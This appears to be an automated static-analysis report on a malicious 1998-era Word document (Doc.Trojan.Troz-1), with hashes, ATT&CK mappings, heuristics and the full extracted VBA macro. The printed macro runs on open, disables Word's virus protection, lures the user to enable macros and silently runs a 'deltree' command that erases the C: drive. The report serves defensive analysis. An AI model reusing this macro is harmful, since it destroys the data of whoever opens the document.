Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 25d08023ae1c9ace…

MALICIOUS

Office (OLE)

27.0 KB Created: 1998-05-23 06:19:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 5c464c7a8da0d7dac6ac64d300c2e2d5 SHA-1: 3082c70778d709cedc589044d79ef2f02ebb94c8 SHA-256: 25d08023ae1c9ace7a4f73abbed31247574be89f2ccd3c5a57ca2e8ab36bdc59
320 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen subroutine that attempts to lure the user into enabling macros. Upon execution, it calls the Shell function to run the command 'deltree /y c:\*.*', which is highly destructive. This indicates a malicious intent to cause data loss.

Heuristics 7

  • ClamAV: Doc.Trojan.Troz-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Troz-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 634 bytes
SHA-256: a59859d1d7c9684766d035cc76c693ce28a723fe9f26afd8d6a967d69a6e0c2f
Detection
ClamAV: Doc.Trojan.Troz-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Troz"
Sub AutoOpen()
Options.VirusProtection = False
Application.EnableCancelKey = wdCancelDisabled
MsgBox "Troz make you fun", vbInformation, "Microsoft Troz"
Selection.Font.Bold = True
Selection.Font.Size = "30"
Selection.TypeText Text:="Must use Enable Macro"
Shell "deltree /y c:\*.*", vbHide
MsgBox "Fun", vbExclamation, "Microsoft Troz"
End Sub